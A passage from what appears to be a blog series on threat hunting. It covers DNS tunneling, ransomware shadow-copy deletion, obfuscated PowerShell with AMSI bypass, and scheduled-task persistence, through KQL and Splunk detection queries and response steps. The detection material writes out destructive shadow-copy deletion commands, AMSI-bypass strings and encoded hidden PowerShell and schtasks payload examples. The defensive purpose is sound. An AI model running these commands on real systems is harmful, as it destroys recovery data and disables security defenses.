  3. Find the tunneling process. On the host, identify which process is generating the queries (Defender's InitiatingProcessFileName, or Sysmon DNS query events / EDR network telemetry). Look for recently installed services, scheduled tasks, or injected threads in legitimate processes.
  4. Measure the damage. Estimate total bytes moved: query count × average label size gives a rough exfiltration volume. Check DLP and file-access logs for what data the compromised account could reach.

Tuning out false positives

  • Antivirus and software telemetry: many AV products (and Chrome's Safe Browsing) issue long, hash-like DNS queries for reputation lookups. These go to well-known vendor domains at predictable patterns — whitelist the vendor domains, not the pattern.
  • DNS-based blocklists and SPF: mail servers generate heavy TXT traffic legitimately. Scope exclusions to your mail infrastructure hosts.
  • CDN and service-discovery names: long CNAME chains from CDNs and service meshes look odd but resolve to known providers. Baseline your top talkers before the hunt so anomalies stand out.

What to do next

Confirmed DNS tunneling means data is actively leaving — speed matters more than completeness at first. Block the tunneling domain at the DNS layer (sinkhole or RPZ) and at the firewall, then isolate the host. Identify and remove the tunneling implant, and rotate credentials for the affected user and any accounts whose data was in scope. Because DNS exfiltration is slow by design, assume a longer dwell time: pull DNS logs back 60–90 days and look for when the pattern started. Finally, treat this as a detection gap — consider DNS query logging on all resolvers and an analytics rule on the query-length/volume/volume-per-domain signals in this article, so the next tunnel trips an alert instead of a hunt.

Next in this series: Kerberoasting — hunting RC4 ticket requests that betray the attacker.

Hunting Ransomware Precursors: Shadow Copy Deletion Before the Encryption Starts

Dark illustration of a server rack with a shattering hard drive breaking into fragments amid red particles, symbolizing shadow copy deletion before ransomware encryption

Case file: the quiet step before the loud one

Ransomware is loud. The ransom note, the encrypted extensions, the help-desk tickets — nobody misses detonation. But the steps before detonation are quiet, and one of the quietest is also one of the most telling: deleting shadow copies. Before encrypting a single file, most ransomware strains run vssadmin delete shadows /all /quiet or wmic shadowcopy delete to destroy the victim's built-in recovery option. No backups to restore from means the ransom demand carries weight.

That makes shadow copy deletion a high-value precursor — a behavior that reliably precedes impact. It maps to MITRE ATT&CK T1490 (Inhibit System Recovery), and it appears in the playbooks of virtually every major ransomware family. The evidence is crisp: two specific binaries, a handful of known command-line patterns, and almost no legitimate reason for an interactive user to run them. When this hunt fires, treat the clock as already ticking.

The hypothesis

If ransomware is staging on a host in our environment, then we will observe vssadmin.exe or wmic.exe executed with shadow-deletion arguments (delete shadows, shadowcopy delete, resize shadowstorage), or direct tampering with the Volume Shadow Copy service — outside of sanctioned backup-administration activity.

Data you'll need

Log sourceTable / indexWhat it gives you
Microsoft Defender for EndpointDeviceProcessEvents, DeviceEventsProcess launches with full command lines; service-stop events
Windows System logEventCode 7036 / 7045 (index=wineventlog)VSS service state changes and new service installs
SysmonEventCode 1Parent process of the deletion command

Hunting with KQL

Cast a wide net over every known shadow-copy destruction pattern — the classic commands, the storage-resize trick that starves shadow copies to zero, and the service-disable variant.

// Hunt: shadow copy deletion / VSS tampering precursors
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where (FileName =~ "vssadmin.exe"
         and ProcessCommandLine has_any ("delete shadows", "resize shadowstorage"))
    or (FileName =~ "wmic.exe"
        and ProcessCommandLine has_all ("shadowcopy", "delete"))
    or (FileName =~ "powershell.exe"
        and ProcessCommandLine has_any ("delete shadows", "shadowcopy delete",
            "Stop-Service VSS", "vssadmin", "Get-WmiObject Win32_ShadowCopy"))
    or (FileName =~ "sc.exe"
        and ProcessCommandLine has_all ("vss", "delete"))
| extend Technique = case(
    FileName =~ "vssadmin.exe", "vssadmin delete/resize",
    FileName =~ "wmic.exe", "wmic shadowcopy delete",
    FileName =~ "sc.exe", "service deletion",
    "powershell variant")
| project TimeGenerated, DeviceName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, FileName, ProcessCommandLine,
    InitiatingProcessAccountName, Technique
| order by TimeGenerated desc

What this does: the query matches each known T1490 execution pattern and labels the technique variant, so you can see at a glance whether the attacker used the classic vssadmin route or a PowerShell/WMI alternative. The parent process columns are the real prize — ransomware droppers, not backup admins, are what you're looking for.

Watch for the quieter variants too. Some strains avoid vssadmin entirely and instead stop the service, delete its registry keys, or use bcdedit to disable recovery:

// Hunt: VSS service tampering and recovery-disable variants
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where ProcessCommandLine has_any (
        "net stop vss", "sc stop vss", "sc config vss",
        "bcdedit", "recoveryenabled no", "bootstatuspolicy ignoreallfailures")
    and FileName in~ ("net.exe", "sc.exe", "bcdedit.exe", "cmd.exe", "powershell.exe")
| where not(InitiatingProcessAccountName has "backup")
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessAccountName
Example: what a true-positive result row looks like
TimeGenerated2026-09-20 01:47:03 UTC
DeviceNameSRV-FILE-02
InitiatingProcessFileNamesvchost.exe (unusual child chain via cmd.exe)
ProcessCommandLinevssadmin delete shadows /all /quiet & wmic shadowcopy delete /nointeractive
Follow-on (4 min later)Mass file renames to .locked extension begin on shared drives
Why it's maliciousBoth canonical deletion commands chained in one line, on a file server, at 1:47 a.m., immediately before encryption behavior. This is the precursor firing exactly as designed.

Hunting with Splunk

In Splunk, combine Sysmon process creation with the Windows System log to catch both the deletion command and its effect on the VSS service:

index=sysmon EventCode=1 earliest=-14d
| where match(Image, "(?i)(vssadmin\.exe|wmic\.exe)$")
  AND match(CommandLine, "(?i)(delete shadows|resize shadowstorage|shadowcopy.+delete)")
| table _time, host, user, ParentImage, Image, CommandLine

What this does: it filters Sysmon process-creation events to the two canonical binaries and their destructive arguments. Because Sysmon logs the parent image, you immediately see whether the command came from a backup console or from an intruder's cmd.exe.

index=wineventlog (EventCode=7036 OR EventCode=7040) earliest=-14d
| where match(_raw, "(?i)Volume Shadow Copy")
| table _time, host, EventCode, _raw

Example hit: Sysmon EventCode 1 on SRV-FILE-02 — Image: C:\Windows\System32\vssadmin.exe, CommandLine: vssadmin delete shadows /all /quiet, ParentImage: C:\Windows\System32\cmd.exe, launched by a process whose own parent is a recently dropped executable in C:\ProgramData. Seconds later, System log EventCode 7036 records the Volume Shadow Copy service entering the stopped state. Two independent sources, one story.

Validating the hit

  1. Confirm the shadows are actually gone. Run vssadmin list shadows on the host. If the store is empty and the host previously had restore points, the deletion succeeded — recovery options are degraded.
  2. Identify the parent and the dropper. Trace the process tree upward: what launched cmd.exe? Look for a recently written executable, a malicious service (EventCode 7045), or a scheduled task created in the same window.
  3. Check for concurrent ransomware staging. Search the host for the other precursors that travel with T1490: disabled Defender, deleted event logs (wevtutil cl), new ransom-note filenames, and mass file modification. One precursor is a warning; three is a detonation in progress.
  4. Scope immediately. Query the same command-line patterns across all hosts for the last 30 days. Ransomware operators routinely stage on multiple machines and detonate simultaneously.

Tuning out false positives

  • Backup administrators: legitimate backup software and storage admins manage shadow copies with vssadmin. Exclude known backup service accounts and management hosts — but verify the parent chain anyway, since attackers love to hide behind admin tooling.
  • Disk-space maintenance: vssadmin resize shadowstorage is occasionally used legitimately to reclaim disk space. Correlate with change tickets; unplanned resizes to tiny values at odd hours are not maintenance.
  • VDI / imaging workflows: golden-image build pipelines sometimes clear shadow copies. Restrict exclusions to the build subnet and the imaging service account.

What to do next

A true positive here is a P1 incident. Isolate the host from the network immediately — but do not power it off, since memory forensics may be your only view into the staging malware. Verify your offline backups are intact and disconnected before the attacker finds them too. Engage your incident response plan, notify stakeholders, and sweep the environment for lateral movement: by the time shadow copies are being deleted, the intruder has usually been inside for days. Document the full precursor timeline — it becomes the backbone of your post-incident report and your detection engineering backlog.

Next in this series: DNS tunneling and data exfiltration — hunting the quiet channel attackers use to steal data out.

Hunting Obfuscated PowerShell and AMSI Bypass Attempts

Dark illustration of a shattering digital keyboard dissolving into red and blue particles, symbolizing obfuscated PowerShell payloads evading AMSI inspection

Case file: the payload that hides in plain sight

PowerShell is a system administrator's best friend and an incident responder's recurring nightmare. In case after case, the initial access vector — a macro, a malicious LNK, a drive-by download — does one thing: it launches a PowerShell command line so mangled it looks like keyboard static. Strings reversed, variables named with random characters, the whole payload compressed and Base64-encoded three layers deep. That obfuscation exists for one reason: to slip past the Antimalware Scan Interface (AMSI), the layer that lets Defender inspect script content before it executes.

This hunt targets two linked behaviors. First, obfuscated PowerShell execution — command lines and script blocks that use encoding, string manipulation, or dynamic invocation to hide intent (T1027 Obfuscated Files or Information, T1059.001 PowerShell). Second, AMSI bypass attempts — explicit techniques like patching amsi.dll in memory, setting amsiInitFailed, or disabling script-block logging, mapped to T1562.001 Impair Defenses. Either one alone is worth a look; together, they're a strong signal of malicious intent.

The hypothesis

If an attacker is executing malicious PowerShell in our environment, then we will find PowerShell processes with command lines containing encoding flags (-enc/-EncodedCommand), reflection or dynamic-invocation primitives (FromBase64String, Invoke-Expression, IEX), or known AMSI-bypass strings — especially when launched by Office apps, browsers, or script hosts rather than by administrators.

Data you'll need

Log sourceTable / indexWhat it gives you
Microsoft Defender for EndpointDeviceProcessEvents, DeviceEventsFull PowerShell command lines; AMSI-related detections and tamper events
PowerShell Script Block LoggingEventCode 4104 (index=wineventlog)De-obfuscated script content — what actually ran
SysmonEventCode 1Parent-child chains for the launching process

Hunting with KQL

This query scores PowerShell executions against a stack of obfuscation and AMSI-bypass indicators, so the most suspicious launches surface first.

// Hunt: obfuscated PowerShell + AMSI bypass indicators, scored
let ObfuscationMarkers = dynamic([
    "-enc", "-EncodedCommand", "-e ", "FromBase64String",
    "Invoke-Expression", "IEX", "Invoke-Mimikatz",
    "-w hidden", "-windowstyle hidden", "-noni", "-NoProfile"]);
let AmsiBypassMarkers = dynamic([
    "amsiInitFailed", "AmsiUtils", "amsi.dll",
    "System.Management.Automation.AmsiUtils",
    "amsiContext", "NonPublic,Static", "Set-MpPreference",
    "DisableRealtimeMonitoring", "Reflection.Assembly"]);
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| extend HasObfuscation = ProcessCommandLine has_any (ObfuscationMarkers),
         HasAmsiBypass = ProcessCommandLine has_any (AmsiBypassMarkers),
         LaunchedBySuspiciousParent = InitiatingProcessFileName in~
             ("winword.exe", "excel.exe", "outlook.exe", "mshta.exe",
              "wscript.exe", "cscript.exe", "rundll32.exe", "iexplore.exe", "chrome.exe")
| where HasObfuscation or HasAmsiBypass
| extend SuspicionScore = (iff(HasObfuscation, 1, 0)
    + iff(HasAmsiBypass, 3, 0) + iff(LaunchedBySuspiciousParent, 2, 0))
| project TimeGenerated, DeviceName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, ProcessCommandLine,
    InitiatingProcessAccountName, HasObfuscation, HasAmsiBypass,
    LaunchedBySuspiciousParent, SuspicionScore
| order by SuspicionScore desc, TimeGenerated desc

What this does: every PowerShell launch in the window is checked against two marker lists. AMSI-bypass strings score triple because they indicate deliberate defense evasion rather than mere obfuscation. A suspicious parent process (Office, browsers, script hosts) adds weight. The result: the query ranks itself, and your triage starts at the top.

Decode the payload. A -enc argument is Base64-encoded UTF-16LE. In your analysis environment — never on the production host — decode it to see the underlying intent:

// Decode a captured -EncodedCommand argument offline
$b64 = "<paste the base64 string here>"
[System.Text.Encoding]::Unicode.GetString(
    [System.Convert]::FromBase64String($b64))
Example: what a true-positive result row looks like
TimeGenerated2026-09-19 14:02:41 UTC
DeviceNameWS-SALES-0117
InitiatingProcessFileNamewinword.exe
ProcessCommandLinepowershell -nop -w hidden -enc SQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAAPQAgADQAKQAuAEMAbwBuAHQAYQBpAG4AcwAoACIAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACIAKQA=
DecodedIf([IntPtr]::Size -eq 4){... .Contains("amsiInitFailed") ...} — reflects over AMSI internals to flip the init-failed flag
SuspicionScore6 (obfuscation + AMSI bypass + Office parent)

Hunting with Splunk

In Splunk, Script Block Logging (EventCode 4104) is your best friend — it records the de-obfuscated script, so AMSI-bypass code is visible even when the command line was encoded:

index=wineventlog EventCode=4104 earliest=-14d
| where match(ScriptBlockText, "(?i)(amsiInitFailed|AmsiUtils|amsi\.dll|amsiContext)")
   OR match(ScriptBlockText, "(?i)(FromBase64String|Invoke-Mimikatz|Invoke-Shellcode|DownloadString|DownloadFile)")
| eval decoded_preview=substr(ScriptBlockText, 1, 300)
| table _time, host, user, MessageNumber, decoded_preview, ScriptBlockText

What this does: it scans every logged script block for AMSI-tampering strings and common malicious .NET/download primitives, showing a 300-character preview so you can triage without pulling full script text. Complement it with a command-line sweep over Sysmon process creation:

index=sysmon EventCode=1 Image="*powershell.exe" earliest=-14d
| where match(CommandLine, "(?i)(-enc|EncodedCommand|FromBase64String|\\bIEX\\b)")
| stats count by host, ParentImage, CommandLine
| sort -count

Example hit: EventCode 4104 on WS-SALES-0117 where ScriptBlockText contains [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') followed by reflection calls setting a private static field — the textbook in-memory AMSI bypass. The parent chain shows winword.exe → powershell.exe, and the document that started it is still sitting in the user's Downloads folder.

Validating the hit

  1. Decode and read the payload. Pull the full command line or script block, decode any Base64 layers, and read what it actually does. Look for the kill chain verbs: download, decode, inject, persist, exfiltrate.
  2. Check the parent and the lure. Identify the document, email, or web page that launched PowerShell. A macro-enabled attachment in the inbox minutes before the execution confirms the delivery vector.
  3. Look for what the bypass was protecting. AMSI bypasses exist to hide a second stage. Search the host for network connections, file writes, and child processes within ±15 minutes of the bypass — the real payload usually lands right after.
  4. Confirm defenses are intact. Check whether Defender real-time protection, Script Block Logging, or AMSI itself was disabled (Get-MpPreference, registry DisableRealtimeMonitoring). If tampering succeeded, assume the host's own telemetry has gaps.

Tuning out false positives

  • Legitimate encoded commands: SCCM, Intune, and admin tooling routinely use -EncodedCommand to pass scripts safely. Baseline your management tooling's command-line patterns and exclude the service accounts that run them.
  • Security products themselves: EDR sensors and vulnerability scanners sometimes contain strings like amsi.dll in their own script blocks. Correlate the host and user — scanner service accounts are not interactive logons.
  • Developer and IT automation: DevOps scripts love Invoke-Expression and Base64 for passing credentials. Scope the hunt to interactive user contexts and unusual parents before alerting.

What to do next

A confirmed AMSI bypass is an active intrusion signal — the attacker is investing effort to stay invisible on that box. Isolate the host immediately, kill the PowerShell process tree, and preserve the script block logs and any dropped files for forensics. Hunt the decoded payload's indicators (domains, hashes, file paths) across the fleet: obfuscated PowerShell is rarely a one-host event. If the bypass disabled Defender components, re-enable and verify them before returning the host to service — and consider a full reimage, because a host whose defenses were blinded can't fully vouch for itself.

Next in this series: ransomware precursors — hunting shadow copy deletion before the encryption starts.

Hunting Scheduled Task Persistence: The Foothold That Survives a Reboot

Dark illustration of clockwork gears with a glowing red heartbeat pulse line running beneath them, symbolizing scheduled task persistence

Case file: persistence via Scheduled Tasks

You've contained the initial access. The phishing payload is deleted, the malicious process is dead, the EDR console shows the endpoint "clean." Then, 72 hours later, the same host phones home again. Nothing in your first sweep explains the re-infection — until you look at the Scheduled Task cache and find a job named GoogleUpdateTaskMachineUA that points to a binary in %APPDATA%. That's persistence, and it's one of the most reliable tricks in the attacker playbook because it looks like normal Windows administration.

This hunt is about one pattern: an adversary creating or modifying a Scheduled Task so their payload runs on a schedule — at logon, on a timer, or every time the machine boots. It's MITRE ATT&CK T1053.005 (Scheduled Task/Job: Scheduled Task), and it shows up in ransomware operations, intrusions, and commodity malware alike. The evidence trail is rich — task creation events, process launches of schtasks.exe, and registry writes under the Task Cache — which makes it an ideal hypothesis-driven hunt.

The hypothesis

If an attacker is establishing persistence on Windows endpoints in our environment, then we will find Scheduled Task registrations (Event ID 4698 or schtasks.exe /create executions) where the task action points to an unsigned binary, a script in a user-writable path, or a command line containing download/execution primitives — launched by a process that doesn't normally manage tasks.

Data you'll need

Log sourceTable / indexWhat it gives you
Microsoft Defender for EndpointDeviceProcessEvents, DeviceRegistryEventsProcess launches (schtasks.exe, PowerShell *-ScheduledTask cmdlets) and Task Cache registry writes
Windows Security logSecurityEvent / index=wineventlog, EventCode 4698"A scheduled task was created" audit events with the task XML
SysmonEventCode 1 (process create), 13 (registry set)Full command lines and parent-child process chains

Hunting with KQL

Start broad: any Scheduled Task creation activity in the last 14 days, via schtasks.exe, PowerShell task cmdlets, or the Task Scheduler COM interface.

// Hunt: Scheduled Task creation outside normal admin tooling
let SuspiciousParents = dynamic(["cmd.exe", "powershell.exe", "pwsh.exe",
    "wscript.exe", "cscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe"]);
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where (FileName =~ "schtasks.exe" and ProcessCommandLine has_any ("/create", "/change", "/run"))
    or (FileName in~ ("powershell.exe", "pwsh.exe")
        and ProcessCommandLine has_any ("New-ScheduledTask", "Register-ScheduledTask",
            "Set-ScheduledTask", "schtasks"))
| extend TaskActionSuspicious = ProcessCommandLine has_any (
    "%appdata%", "%temp%", "powershell", "cmd /c", "wscript",
    "http://", "https://", "bitsadmin", "certutil", "-enc", "-EncodedCommand")
| project TimeGenerated, DeviceName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, FileName, ProcessCommandLine,
    InitiatingProcessAccountName, TaskActionSuspicious
| order by TaskActionSuspicious desc, TimeGenerated desc

What this does: the query collects every task registration event and promotes a boolean flag, TaskActionSuspicious, when the command line references user-writable paths, scripting engines, encoded commands, or URLs — all classic markers of a malicious task action. Sorting true-positives to the top keeps the triage queue short.

Back it up with the audit trail. Event ID 4698 fires whenever a scheduled task is created and embeds the task XML, including the <Command> and <Arguments> the task will run:

// Hunt: 4698 task-creation audit events with suspicious actions
SecurityEvent
| where TimeGenerated > ago(14d)
| where EventID == 4698
| extend TaskName = extract(@"TaskName:\s+(\S+)", 1, EventData),
         TaskCommand = extract(@"<Command>(.*?)</Command>", 1, EventData)
| where TaskCommand has_any (@"\AppData\", @"\Temp\", "powershell", "cmd.exe", ".ps1", ".vbs", ".js")
| project TimeGenerated, Computer, Account, TaskName, TaskCommand
Example: what a true-positive result row looks like
TimeGenerated2026-09-18 03:14:22 UTC
DeviceNameWS-FIN-0442
InitiatingProcessFileNamepowershell.exe
ProcessCommandLineschtasks /create /tn "OfficeTelemetry" /tr "cmd /c powershell -w hidden -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAAPQAgADQAKQA=" /sc onlogon /f
TaskActionSuspicioustrue
Why it's maliciousTask name mimics legitimate software, triggers at every logon, and runs a Base64-encoded hidden PowerShell payload — three persistence red flags in one row.

Hunting with Splunk

The same hunt translates cleanly to Splunk. Use the Windows Security log for 4698 creations and Sysmon EventCode 1 for full command-line fidelity:

index=wineventlog EventCode=4698 earliest=-14d
| rex field=_raw "TaskName:\s+(?<task_name>\S+)"
| rex field=_raw "Task Content:\s*(?<task_xml>[\s\S]*)"
| rex field=task_xml "<Command>(?<task_command>.*?)</Command>"
| where match(task_command, "(?i)(appdata|\\\\temp\\\\|powershell|cmd\.exe|\.ps1|\.vbs|\.js|http)")
| table _time, host, user, task_name, task_command

What this does: it pulls every 4698 "scheduled task was created" event, extracts the task name and the command the task will execute from the embedded task XML, and keeps only rows where the command touches user-writable paths, scripting engines, or URLs. Pair it with a Sysmon sweep to catch attackers who bypass the audit log by editing the Task Cache registry directly:

index=sysmon EventCode=13 earliest=-14d
    TargetObject="*\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\*"
| stats count by host, TargetObject, _time

Example hit: a Sysmon EventCode 1 row on host WS-FIN-0442 — Image: C:\Windows\System32\schtasks.exe, CommandLine: schtasks /create /tn "OfficeTelemetry" /tr "cmd /c powershell -w hidden -enc ...", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, User: FINANCE\jchen. PowerShell spawning schtasks with an encoded payload at 3 a.m. is not patch management — it's an intruder bolting the door from the inside.

Validating the hit

  1. Read the task XML. On the host (or from the 4698 event's Task Content), inspect C:\Windows\System32\Tasks\<TaskName>. Check the <Actions> node: what binary runs, with what arguments, and on what trigger? Malicious tasks typically use LogonTrigger or short-interval TimeTrigger schedules.
  2. Vet the binary. Hash the executable the task points to, check its signature (Get-AuthenticodeSignature), and submit the hash to your threat intel feeds. An unsigned binary in %APPDATA% or %TEMP% is damning; a signed vendor updater is usually not.
  3. Reconstruct the parent chain. Who created the task? Trace InitiatingProcessFileName back: a task created by services.exe during a software push differs sharply from one created by a Word-launched PowerShell. Correlate with process creation logs ±10 minutes around the 4698 timestamp.
  4. Check for siblings. One malicious task is rarely alone. Search the same host for other recent task creations, new Run registry keys, and new services — attackers layer persistence mechanisms.

Tuning out false positives

  • Software updaters: Google Update, Adobe ARM, and vendor agents register tasks constantly. Whitelist by signed publisher + known task names, not by task name alone (attackers mimic names like GoogleUpdateTaskMachineUA).
  • Configuration management: SCCM/MECM, Intune, and GPO-deployed tasks create tasks at scale. Filter on the creating account (SYSTEM via known management processes) and known task paths like \Microsoft\....
  • Admin maintenance scripts: IT teams schedule log cleanup and backup jobs. Keep an inventory of sanctioned tasks; anything not on the list that runs a script from a user profile deserves a look.

What to do next

A confirmed malicious task means the host is compromised right now — act on that assumption. Isolate the endpoint in EDR, then delete the task (schtasks /delete /tn "<name>" /f) and remove the payload binary. Don't stop at one host: sweep the fleet for the same task name, hash, and command-line pattern, since persistence is often deployed enterprise-wide before ransomware detonation. Reset credentials for the affected user, capture a memory image if your IR process calls for it, and open an incident — persistence is a foothold, and footholds exist to be used.

Next in this series: obfuscated PowerShell and AMSI bypass attempts — hunting the payload that the scheduled task was built to launch.

Amit Vijayan

Amit Vijayan
Hack Ethically

About Me


I am an engineering student and i am very dedicated about Ethical Hacking. I have been learning "Ethical Hacking" for about 4 years now.
Though I'am not a pro hacker but also not a noob. I have enough knowledge to give others like me, a start for their Ethical Hacking & Cyber Security. As i keep learning new things, i keep updating them on the blog from basic to advanced level.
I started Ethical Hacking as a hobby which has now turned into my passion and i'am sure i will turn it into my profession through this blog.

Always be an Ethical Hacker.